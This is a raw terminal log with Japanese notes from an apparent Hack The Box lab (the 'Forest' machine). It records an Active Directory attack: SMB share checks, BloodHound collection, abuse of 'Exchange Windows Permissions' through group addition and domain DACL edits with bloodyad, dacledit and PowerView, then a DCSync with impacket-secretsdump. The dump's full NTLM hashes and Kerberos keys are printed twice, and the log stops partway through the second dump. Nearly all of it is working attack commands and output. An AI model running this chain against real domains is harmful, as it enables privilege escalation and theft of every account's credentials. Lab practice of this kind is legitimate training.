┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$ echo "test" > test.txt
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$ smbclient //10.129.56.26/IPC$ -U 'htb/svc-alfresco%s3rvice'
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_NO_SUCH_FILE listing \*
smb: \> put test.txt
NT_STATUS_OBJECT_NAME_NOT_FOUND opening remote file \test.txt
smb: \> exit
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$ smbclient //10.129.56.26/NETLOGON -U 'htb/svc-alfresco%s3rvice'
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Sep 19 02:45:49 2019
.. D 0 Thu Sep 19 02:45:49 2019
5069055 blocks of size 4096. 2549974 blocks available
smb: \> put test.txt
NT_STATUS_ACCESS_DENIED opening remote file \test.txt
smb: \> exit
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$ smbclient //10.129.56.26/SYSVOL -U 'htb/svc-alfresco%s3rvice'
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Sep 19 02:45:49 2019
.. D 0 Thu Sep 19 02:45:49 2019
htb.local Dr 0 Thu Sep 19 02:45:49 2019
5069055 blocks of size 4096. 2549974 blocks available
smb: \> cd htb.local
smb: \htb.local\> ls
. D 0 Wed Sep 18 19:58:53 2019
.. D 0 Wed Sep 18 19:58:53 2019
DfsrPrivate DHSr 0 Wed Sep 18 19:58:53 2019
Policies D 0 Thu Sep 19 02:45:57 2019
scripts D 0 Thu Sep 19 02:45:49 2019
5069055 blocks of size 4096. 2549974 blocks available
smb: \htb.local\> put test.txt
NT_STATUS_ACCESS_DENIED opening remote file \htb.local\test.txt
smb: \htb.local\> exit
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$
kerberoast
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$ impacket-GetUserSPNs htb.local/svc-alfresco:'s3rvice' -dc-ip 10.129.56.26 -request -outputfile kerberoast.hash
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
No entries found!
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$
winpeas
⇒一応とった
bloodhound
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$ bloodhound-python -u svc-alfresco -p 's3rvice' -d htb.local -ns 10.129.56.26 -dc forest.htb.local -c All --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: htb.local
INFO: Getting TGT for user
INFO: Connecting to LDAP server: forest.htb.local
WARNING: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: forest.htb.local
WARNING: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 32 users
INFO: Found 76 groups
INFO: Found 2 gpos
INFO: Found 15 ous
INFO: Found 20 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: EXCH01.htb.local
INFO: Querying computer: FOREST.htb.local
WARNING: Failed to get service ticket for FOREST.htb.local, falling back to NTLM auth
CRITICAL: CCache file is not found. Skipping...
WARNING: DCE/RPC connection failed: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Done in 00M 27S
INFO: Compressing output into 20261016103008_bloodhound.zip
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$
evil-winrm -i 10.129.56.26 -u svc-alfresco -p s3rvice
bloodhound
svc-alfresco
から
domain admin
へのパスが出た
svc-alfresco
を
EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL
のグループに追加した後
HTB.LOCAL
に対して
WriteDacl
で攻撃する
SVC-ALFRESCO@HTB.LOCAL
│
└── MemberOf
↓
SERVICE ACCOUNTS@HTB.LOCAL
│
└── MemberOf
↓
PRIVILEGED IT ACCOUNTS@HTB.LOCAL
│
└── MemberOf
↓
ACCOUNT OPERATORS@HTB.LOCAL
│
└── GenericAll
↓
EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL
│
└── WriteDacl
↓
HTB.LOCAL
│
└── Contains
↓
USERS@HTB.LOCAL
│
└── Contains
↓
DOMAIN ADMINS@HTB.LOCAL
evil-winrm -i 10.129.56.26 -u svc-alfresco -p s3rvice
Group Add
net group "Exchange Windows Permissions"
net group "Exchange Windows Permissions" svc-alfresco /add /domain
net group "Exchange Windows Permissions"
⇒グループに対するGenericAllは以下の2つだけでいい。
bloodyad --host 10.129.56.26 -d htb.local -u 'svc-alfresco' -p 's3rvice' add groupMember 'Exchange Windows Permissions' 'svc-alfresco'
net group "Exchange Windows Permissions" svc-alfresco /add /domain
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "Exchange Windows Permissions"
Group name Exchange Windows Permissions
Comment This group contains Exchange servers that run Exchange cmdlets on behalf of users via the management service. Its members have permission to read and modify all Windows accounts and groups. This group should not be deleted.
Members
-------------------------------------------------------------------------------
The command completed successfully.
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "Exchange Windows Permissions" svc-alfresco /add /domain
The command completed successfully.
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "Exchange Windows Permissions"
Group name Exchange Windows Permissions
Comment This group contains Exchange servers that run Exchange cmdlets on behalf of users via the management service. Its members have permission to read and modify all Windows accounts and groups. This group should not be deleted.
Members
-------------------------------------------------------------------------------
svc-alfresco
The command completed successfully.
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents>
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$ bloodyad --host 10.129.56.26 -d htb.local -u 'svc-alfresco' -p 's3rvice' add groupMember 'Exchange Windows Permissions' 'svc-alfresco'
[+] svc-alfresco added to Exchange Windows Permissions
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$
ユーザとグループとDomain(HTB.LOCAL)への
bloodyad
impacket-dacledit
Add-DomainObjectAcl
のコマンドを教えて
User(sebastien)
bloodyad --host 10.129.56.26 -d htb.local -u svc-alfresco -p 's3rvice' add genericAll sebastien svc-alfresco
bloodyad --host 10.129.56.26 -d htb.local -u svc-alfresco -p 's3rvice' add genericAll 'Exchange Windows Permissions' svc-alfresco
bloodyad --host 10.129.56.26 -d htb.local -u svc-alfresco -p 's3rvice' add genericAll 'DC=htb,DC=local' svc-alfresco
impacket-dacledit -action write -rights FullControl -principal svc-alfresco -target sebastien -dc-ip 10.129.56.26 'htb.local/svc-alfresco:s3rvice'
impacket-dacledit -action write -rights FullControl -principal svc-alfresco -target 'Exchange Windows Permissions' -dc-ip 10.129.56.26 'htb.local/svc-alfresco:s3rvice'
impacket-dacledit -action write -rights FullControl -principal svc-alfresco -target-dn 'DC=htb,DC=local' -dc-ip 10.129.56.26 'htb.local/svc-alfresco:s3rvice'
cp -v /usr/share/windows-resources/powersploit/Recon/PowerView.ps1 .
evil-winrm -i 10.129.56.26 -u svc-alfresco -p s3rvice
upload PowerView.ps1
. .\PowerView.ps1
Add-DomainObjectAcl -TargetIdentity sebastien -PrincipalIdentity svc-alfresco -Rights All
Add-DomainObjectAcl -TargetIdentity 'Exchange Windows Permissions' -PrincipalIdentity svc-alfresco -Rights All
Add-DomainObjectAcl -TargetIdentity 'DC=htb,DC=local' -PrincipalIdentity svc-alfresco -Rights All
Add-DomainObjectAcl -TargetIdentity 'DC=htb,DC=local' -PrincipalIdentity svc-alfresco -Rights All -Verbose
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$ bloodyad --host 10.129.56.26 -d htb.local -u 'svc-alfresco' -p 's3rvice' add groupMember 'Exchange Windows Permissions' 'svc-alfresco'
[+] svc-alfresco added to Exchange Windows Permissions
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$ bloodyad --host 10.129.56.26 -d htb.local -u svc-alfresco -p 's3rvice' add genericAll 'DC=htb,DC=local' svc-alfresco
[+] svc-alfresco has now GenericAll on DC=htb,DC=local
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$ impacket-secretsdump -just-dc 'htb.local/svc-alfresco:s3rvice@10.129.56.26'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\$331000-VK4ADACQNUCA:1123:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_2c8eef0a09b545acb:1124:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_ca8c2ed5bdab4dc9b:1125:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_75a538d3025e4db9a:1126:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_681f53d4942840e18:1127:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_1b41c9286325456bb:1128:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_9b69f1b9d2cc45549:1129:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_7c96b981967141ebb:1130:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_c75ee099d0a64c91b:1131:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_1ffab36a2f5f479cb:1132:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\HealthMailboxc3d7722:1134:aad3b435b51404eeaad3b435b51404ee:4761b9904a3d88c9c9341ed081b4ec6f:::
htb.local\HealthMailboxfc9daad:1135:aad3b435b51404eeaad3b435b51404ee:5e89fd2c745d7de396a0152f0e130f44:::
htb.local\HealthMailboxc0a90c9:1136:aad3b435b51404eeaad3b435b51404ee:3b4ca7bcda9485fa39616888b9d43f05:::
htb.local\HealthMailbox670628e:1137:aad3b435b51404eeaad3b435b51404ee:e364467872c4b4d1aad555a9e62bc88a:::
htb.local\HealthMailbox968e74d:1138:aad3b435b51404eeaad3b435b51404ee:ca4f125b226a0adb0a4b1b39b7cd63a9:::
htb.local\HealthMailbox6ded678:1139:aad3b435b51404eeaad3b435b51404ee:c5b934f77c3424195ed0adfaae47f555:::
htb.local\HealthMailbox83d6781:1140:aad3b435b51404eeaad3b435b51404ee:9e8b2242038d28f141cc47ef932ccdf5:::
htb.local\HealthMailboxfd87238:1141:aad3b435b51404eeaad3b435b51404ee:f2fa616eae0d0546fc43b768f7c9eeff:::
htb.local\HealthMailboxb01ac64:1142:aad3b435b51404eeaad3b435b51404ee:0d17cfde47abc8cc3c58dc2154657203:::
htb.local\HealthMailbox7108a4e:1143:aad3b435b51404eeaad3b435b51404ee:d7baeec71c5108ff181eb9ba9b60c355:::
htb.local\HealthMailbox0659cc1:1144:aad3b435b51404eeaad3b435b51404ee:900a4884e1ed00dd6e36872859c03536:::
htb.local\sebastien:1145:aad3b435b51404eeaad3b435b51404ee:96246d980e3a8ceacbf9069173fa06fc:::
htb.local\lucinda:1146:aad3b435b51404eeaad3b435b51404ee:4c2af4b2cd8a15b1ebd0ef6c58b879c3:::
htb.local\svc-alfresco:1147:aad3b435b51404eeaad3b435b51404ee:9248997e4ef68ca2bb47ae4e6f128668:::
htb.local\andy:1150:aad3b435b51404eeaad3b435b51404ee:29dfccaf39618ff101de5165b19d524b:::
htb.local\mark:1151:aad3b435b51404eeaad3b435b51404ee:9e63ebcb217bf3c6b27056fdcb6150f7:::
htb.local\santi:1152:aad3b435b51404eeaad3b435b51404ee:483d4c70248510d8e0acb6066cd89072:::
FOREST$:1000:aad3b435b51404eeaad3b435b51404ee:e45a5c7234ac3ad29c2f94e93a0088ed:::
EXCH01$:1103:aad3b435b51404eeaad3b435b51404ee:050105bb043f5b8ffc3a9fa99b5ef7c1:::
[*] Kerberos keys grabbed
htb.local\Administrator:aes256-cts-hmac-sha1-96:910e4c922b7516d4a27f05b5ae6a147578564284fff8461a02298ac9263bc913
htb.local\Administrator:aes128-cts-hmac-sha1-96:b5880b186249a067a5f6b814a23ed375
htb.local\Administrator:des-cbc-md5:c1e049c71f57343b
krbtgt:aes256-cts-hmac-sha1-96:9bf3b92c73e03eb58f698484c38039ab818ed76b4b3a0e1863d27a631f89528b
krbtgt:aes128-cts-hmac-sha1-96:13a5c6b1d30320624570f65b5f755f58
krbtgt:des-cbc-md5:9dd5647a31518ca8
htb.local\HealthMailboxc3d7722:aes256-cts-hmac-sha1-96:258c91eed3f684ee002bcad834950f475b5a3f61b7aa8651c9d79911e16cdbd4
htb.local\HealthMailboxc3d7722:aes128-cts-hmac-sha1-96:47138a74b2f01f1886617cc53185864e
htb.local\HealthMailboxc3d7722:des-cbc-md5:5dea94ef1c15c43e
htb.local\HealthMailboxfc9daad:aes256-cts-hmac-sha1-96:6e4efe11b111e368423cba4aaa053a34a14cbf6a716cb89aab9a966d698618bf
htb.local\HealthMailboxfc9daad:aes128-cts-hmac-sha1-96:9943475a1fc13e33e9b6cb2eb7158bdd
htb.local\HealthMailboxfc9daad:des-cbc-md5:7c8f0b6802e0236e
htb.local\HealthMailboxc0a90c9:aes256-cts-hmac-sha1-96:7ff6b5acb576598fc724a561209c0bf541299bac6044ee214c32345e0435225e
htb.local\HealthMailboxc0a90c9:aes128-cts-hmac-sha1-96:ba4a1a62fc574d76949a8941075c43ed
htb.local\HealthMailboxc0a90c9:des-cbc-md5:0bc8463273fed983
htb.local\HealthMailbox670628e:aes256-cts-hmac-sha1-96:a4c5f690603ff75faae7774a7cc99c0518fb5ad4425eebea19501517db4d7a91
htb.local\HealthMailbox670628e:aes128-cts-hmac-sha1-96:b723447e34a427833c1a321668c9f53f
htb.local\HealthMailbox670628e:des-cbc-md5:9bba8abad9b0d01a
htb.local\HealthMailbox968e74d:aes256-cts-hmac-sha1-96:1ea10e3661b3b4390e57de350043a2fe6a55dbe0902b31d2c194d2ceff76c23c
htb.local\HealthMailbox968e74d:aes128-cts-hmac-sha1-96:ffe29cd2a68333d29b929e32bf18a8c8
htb.local\HealthMailbox968e74d:des-cbc-md5:68d5ae202af71c5d
htb.local\HealthMailbox6ded678:aes256-cts-hmac-sha1-96:d1a475c7c77aa589e156bc3d2d92264a255f904d32ebbd79e0aa68608796ab81
htb.local\HealthMailbox6ded678:aes128-cts-hmac-sha1-96:bbe21bfc470a82c056b23c4807b54cb6
htb.local\HealthMailbox6ded678:des-cbc-md5:cbe9ce9d522c54d5
htb.local\HealthMailbox83d6781:aes256-cts-hmac-sha1-96:d8bcd237595b104a41938cb0cdc77fc729477a69e4318b1bd87d99c38c31b88a
htb.local\HealthMailbox83d6781:aes128-cts-hmac-sha1-96:76dd3c944b08963e84ac29c95fb182b2
htb.local\HealthMailbox83d6781:des-cbc-md5:8f43d073d0e9ec29
htb.local\HealthMailboxfd87238:aes256-cts-hmac-sha1-96:9d05d4ed052c5ac8a4de5b34dc63e1659088eaf8c6b1650214a7445eb22b48e7
htb.local\HealthMailboxfd87238:aes128-cts-hmac-sha1-96:e507932166ad40c035f01193c8279538
htb.local\HealthMailboxfd87238:des-cbc-md5:0bc8abe526753702
htb.local\HealthMailboxb01ac64:aes256-cts-hmac-sha1-96:af4bbcd26c2cdd1c6d0c9357361610b79cdcb1f334573ad63b1e3457ddb7d352
htb.local\HealthMailboxb01ac64:aes128-cts-hmac-sha1-96:8f9484722653f5f6f88b0703ec09074d
htb.local\HealthMailboxb01ac64:des-cbc-md5:97a13b7c7f40f701
htb.local\HealthMailbox7108a4e:aes256-cts-hmac-sha1-96:64aeffda174c5dba9a41d465460e2d90aeb9dd2fa511e96b747e9cf9742c75bd
htb.local\HealthMailbox7108a4e:aes128-cts-hmac-sha1-96:98a0734ba6ef3e6581907151b96e9f36
htb.local\HealthMailbox7108a4e:des-cbc-md5:a7ce0446ce31aefb
htb.local\HealthMailbox0659cc1:aes256-cts-hmac-sha1-96:a5a6e4e0ddbc02485d6c83a4fe4de4738409d6a8f9a5d763d69dcef633cbd40c
htb.local\HealthMailbox0659cc1:aes128-cts-hmac-sha1-96:8e6977e972dfc154f0ea50e2fd52bfa3
htb.local\HealthMailbox0659cc1:des-cbc-md5:e35b497a13628054
htb.local\sebastien:aes256-cts-hmac-sha1-96:fa87efc1dcc0204efb0870cf5af01ddbb00aefed27a1bf80464e77566b543161
htb.local\sebastien:aes128-cts-hmac-sha1-96:18574c6ae9e20c558821179a107c943a
htb.local\sebastien:des-cbc-md5:702a3445e0d65b58
htb.local\lucinda:aes256-cts-hmac-sha1-96:acd2f13c2bf8c8fca7bf036e59c1f1fefb6d087dbb97ff0428ab0972011067d5
htb.local\lucinda:aes128-cts-hmac-sha1-96:fc50c737058b2dcc4311b245ed0b2fad
htb.local\lucinda:des-cbc-md5:a13bb56bd043a2ce
htb.local\svc-alfresco:aes256-cts-hmac-sha1-96:46c50e6cc9376c2c1738d342ed813a7ffc4f42817e2e37d7b5bd426726782f32
htb.local\svc-alfresco:aes128-cts-hmac-sha1-96:e40b14320b9af95742f9799f45f2f2ea
htb.local\svc-alfresco:des-cbc-md5:014ac86d0b98294a
htb.local\andy:aes256-cts-hmac-sha1-96:ca2c2bb033cb703182af74e45a1c7780858bcbff1406a6be2de63b01aa3de94f
htb.local\andy:aes128-cts-hmac-sha1-96:606007308c9987fb10347729ebe18ff6
htb.local\andy:des-cbc-md5:a2ab5eef017fb9da
htb.local\mark:aes256-cts-hmac-sha1-96:9d306f169888c71fa26f692a756b4113bf2f0b6c666a99095aa86f7c607345f6
htb.local\mark:aes128-cts-hmac-sha1-96:a2883fccedb4cf688c4d6f608ddf0b81
htb.local\mark:des-cbc-md5:b5dff1f40b8f3be9
htb.local\santi:aes256-cts-hmac-sha1-96:8a0b0b2a61e9189cd97dd1d9042e80abe274814b5ff2f15878afe46234fb1427
htb.local\santi:aes128-cts-hmac-sha1-96:cbf9c843a3d9b718952898bdcce60c25
htb.local\santi:des-cbc-md5:4075ad528ab9e5fd
FOREST$:aes256-cts-hmac-sha1-96:8e5a261ec164ccbaa720dc2d7e692a6345cdee2ffcc919316d6114b625823ff4
FOREST$:aes128-cts-hmac-sha1-96:3b2d6672a88a535413cd9e40808da3d3
FOREST$:des-cbc-md5:0befa2a84a83cd51
EXCH01$:aes256-cts-hmac-sha1-96:1a87f882a1ab851ce15a5e1f48005de99995f2da482837d49f16806099dd85b6
EXCH01$:aes128-cts-hmac-sha1-96:9ceffb340a70b055304c3cd0583edf4e
EXCH01$:des-cbc-md5:8c45f44c16975129
[*] Cleaning up...
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$ bloodyad --host 10.129.56.26 -d htb.local -u 'svc-alfresco' -p 's3rvice' add groupMember 'Exchange Windows Permissions' 'svc-alfresco'
[+] svc-alfresco added to Exchange Windows Permissions
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$ impacket-dacledit -action write -rights FullControl -principal svc-alfresco -target-dn 'DC=htb,DC=local' -dc-ip 10.129.56.26 'htb.local/svc-alfresco:s3rvice'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] DACL backed up to dacledit-20261016-222638.bak
[*] DACL modified successfully!
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$ impacket-secretsdump -just-dc 'htb.local/svc-alfresco:s3rvice@10.129.56.26'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\$331000-VK4ADACQNUCA:1123:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_2c8eef0a09b545acb:1124:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_ca8c2ed5bdab4dc9b:1125:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_75a538d3025e4db9a:1126:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_681f53d4942840e18:1127:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_1b41c9286325456bb:1128:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_9b69f1b9d2cc45549:1129:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_7c96b981967141ebb:1130:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_c75ee099d0a64c91b:1131:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_1ffab36a2f5f479cb:1132:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\HealthMailboxc3d7722:1134:aad3b435b51404eeaad3b435b51404ee:4761b9904a3d88c9c9341ed081b4ec6f:::
htb.local\HealthMailboxfc9daad:1135:aad3b435b51404eeaad3b435b51404ee:5e89fd2c745d7de396a0152f0e130f44:::
htb.local\HealthMailboxc0a90c9:1136:aad3b435b51404eeaad3b435b51404ee:3b4ca7bcda9485fa39616888b9d43f05:::
htb.local\HealthMailbox670628e:1137:aad3b435b51404eeaad3b435b51404ee:e364467872c4b4d1aad555a9e62bc88a:::
htb.local\HealthMailbox968e74d:1138:aad3b435b51404eeaad3b435b51404ee:ca4f125b226a0adb0a4b1b39b7cd63a9:::
htb.local\HealthMailbox6ded678:1139:aad3b435b51404eeaad3b435b51404ee:c5b934f77c3424195ed0adfaae47f555:::
htb.local\HealthMailbox83d6781:1140:aad3b435b51404eeaad3b435b51404ee:9e8b2242038d28f141cc47ef932ccdf5:::
htb.local\HealthMailboxfd87238:1141:aad3b435b51404eeaad3b435b51404ee:f2fa616eae0d0546fc43b768f7c9eeff:::
htb.local\HealthMailboxb01ac64:1142:aad3b435b51404eeaad3b435b51404ee:0d17cfde47abc8cc3c58dc2154657203:::
htb.local\HealthMailbox7108a4e:1143:aad3b435b51404eeaad3b435b51404ee:d7baeec71c5108ff181eb9ba9b60c355:::
htb.local\HealthMailbox0659cc1:1144:aad3b435b51404eeaad3b435b51404ee:900a4884e1ed00dd6e36872859c03536:::
htb.local\sebastien:1145:aad3b435b51404eeaad3b435b51404ee:96246d980e3a8ceacbf9069173fa06fc:::
htb.local\lucinda:1146:aad3b435b51404eeaad3b435b51404ee:4c2af4b2cd8a15b1ebd0ef6c58b879c3:::
htb.local\svc-alfresco:1147:aad3b435b51404eeaad3b435b51404ee:9248997e4ef68ca2bb47ae4e6f128668:::
htb.local\andy:1150:aad3b435b51404eeaad3b435b51404ee:29dfccaf39618ff101de5165b19d524b:::
htb.local\mark:1151:aad3b435b51404eeaad3b435b51404ee:9e63ebcb217bf3c6b27056fdcb6150f7:::
htb.local\santi:1152:aad3b435b51404eeaad3b435b51404ee:483d4c70248510d8e0acb6066cd89072:::
FOREST$:1000:aad3b435b51404eeaad3b435b51404ee:95e001594b7407deb7233534be28e914:::
EXCH01$:1103:aad3b435b51404eeaad3b435b51404ee:050105bb043f5b8ffc3a9fa99b5ef7c1:::
[*] Kerberos keys grabbed
htb.local\Administrator:aes256-cts-hmac-sha1-96:910e4c922b7516d4a27f05b5ae6a147578564284fff8461a02298ac9263bc913
htb.local\Administrator:aes128-cts-hmac-sha1-96:b5880b186249a067a5f6b814a23ed375
htb.local\Administrator:des-cbc-md5:c1e049c71f57343b
krbtgt:aes256-cts-hmac-sha1-96:9bf3b92c73e03eb58f698484c38039ab818ed76b4b3a0e1863d27a631f89528b
krbtgt:aes128-cts-hmac-sha1-96:13a5c6b1d30320624570f65b5f755f58
krbtgt:des-cbc-md5:9dd5647a31518ca8
htb.local\HealthMailboxc3d7722:aes256-cts-hmac-sha1-96:258c91eed3f684ee002bcad834950f475b5a3f61b7aa8651c9d79911e16cdbd4
htb.local\HealthMailboxc3d7722:aes128-cts-hmac-sha1-96:47138a74b2f01f1886617cc53185864e
htb.local\HealthMailboxc3d7722:des-cbc-md5:5dea94ef1c15c43e
htb.local\HealthMailboxfc9daad:aes256-cts-hmac-sha1-96:6e4efe11b111e368423cba4aaa053a34a14cbf6a716cb89aab9a966d698618bf
htb.local\HealthMailboxfc9daad:aes128-cts-hmac-sha1-96:9943475a1fc13e33e9b6cb2eb7158bdd
htb.local\HealthMailboxfc9daad:des-cbc-md5:7c8f0b6802e0236e
htb.local\HealthMailboxc0a90c9:aes256-cts-hmac-sha1-96:7ff6b5acb576598fc724a561209c0bf541299bac6044ee214c32345e0435225e
htb.local\HealthMailboxc0a90c9:aes128-cts-hmac-sha1-96:ba4a1a62fc574d76949a8941075c43ed
htb.local\HealthMailboxc0a90c9:des-cbc-md5:0bc8463273fed983
htb.local\HealthMailbox670628e:aes256-cts-hmac-sha1-96:a4c5f690603ff75faae7774a7cc99c0518fb5ad4425eebea19501517db4d7a91
htb.local\HealthMailbox670628e:aes128-cts-hmac-sha1-96:b723447e34a427833c1a321668c9f53f
htb.local\HealthMailbox670628e:des-cbc-md5:9bba8abad9b0d01a
htb.local\HealthMailbox968e74d:aes256-cts-hmac-sha1-96:1ea10e3661b3b4390e57de350043a2fe6a55dbe0902b31d2c194d2ceff76c23c
htb.local\HealthMailbox968e74d:aes128-cts-hmac-sha1-96:ffe29cd2a68333d29b929e32bf18a8c8
htb.local\HealthMailbox968e74d:des-cbc-md5:68d5ae202af71c5d
htb.local\HealthMailbox6ded678:aes256-cts-hmac-sha1-96:d1a475c7c77aa589e156bc3d2d92264a255f904d32ebbd79e0aa68608796ab81
htb.local\HealthMailbox6ded678:aes128-cts-hmac-sha1-96:bbe21bfc470a82c056b23c4807b54cb6
htb.local\HealthMailbox6ded678:des-cbc-md5:cbe9ce9d522c54d5
htb.local\HealthMailbox83d6781:aes256-cts-hmac-sha1-96:d8bcd237595b104a41938cb0cdc77fc729477a69e4318b1bd87d99c38c31b88a
htb.local\HealthMailbox83d6781:aes128-cts-hmac-sha1-96:76dd3c944b08963e84ac29c95fb182b2
htb.local\HealthMailbox83d6781:des-cbc-md5:8f43d073d0e9ec29
htb.local\HealthMailboxfd87238:aes256-cts-hmac-sha1-96:9d05d4ed052c5ac8a4de5b34dc63e1659088eaf8c6b1650214a7445eb22b48e7
htb.local\HealthMailboxfd87238:aes128-cts-hmac-sha1-96:e507932166ad40c035f01193c8279538
htb.local\HealthMailboxfd87238:des-cbc-md5:0bc8abe526753702
htb.local\HealthMailboxb01ac64:aes256-cts-hmac-sha1-96:af4bbcd26c2cdd1c6d0c9357361610b79cdcb1f334573ad63b1e3457ddb7d352
htb.local\HealthMailboxb01ac64:aes128-cts-hmac-sha1-96:8f9484722653f5f6f88b0703ec09074d
htb.local\HealthMailboxb01ac64:des-cbc-md5:97a13b7c7f40f701
htb.local\HealthMailbox7108a4e:aes256-cts-hmac-sha1-96:64aeffda174c5dba9a41d465460e2d90aeb9dd2fa511e96b747e9cf9742c75bd
htb.local\HealthMailbox7108a4e:aes128-cts-hmac-sha1-96:98a0734ba6ef3e6581907151b96e9f36
htb.local\HealthMailbox7108a4e:des-cbc-md5:a7ce0446ce31aefb
htb.local\HealthMailbox0659cc1:aes256-cts-hmac-sha1-96:a5a6e4e0ddbc02485d6c83a4fe4de4738409d6a8f9a5d763d69dcef633cbd40c
htb.local\HealthMailbox0659cc1:aes128-cts-hmac-sha1-96:8e6977e972dfc154f0ea50e2fd52bfa3
htb.local\HealthMailbox0659cc1:des-cbc-md5:e35b497a13628054
htb.local\sebastien:aes256-cts-hmac-sha1-96:fa87efc1dcc0204efb0870cf5af01ddbb00aefed27a1bf80464e77566b543161
htb.local\sebastien:aes128-cts-hmac-sha1-96:18574c6ae9e20c558821179a107c943a
htb.local\sebastien:des-cbc-md5:702a3445e0d65b58
htb.local\lucinda:aes256-cts-hmac-sha1-96:acd2f13c2bf8c8fca7bf036e59c1f1fefb6d087dbb97ff0428ab0972011067d5
htb.local\lucinda:aes128-cts-hmac-sha1-96:fc50c737058b2dcc4311b245ed0b2fad
htb.local\lucinda:des-cbc-md5:a13bb56bd043a2ce
htb.local\svc-alfresco:aes256-cts-hmac-sha1-96:46c50e6cc9376c2c1738d342ed813a7ffc4f42817e2e37d7b5bd426726782f32
htb.local\svc-alfresco:aes128-cts-hmac-sha1-96:e40b14320b9af95742f9799f45f2f2ea
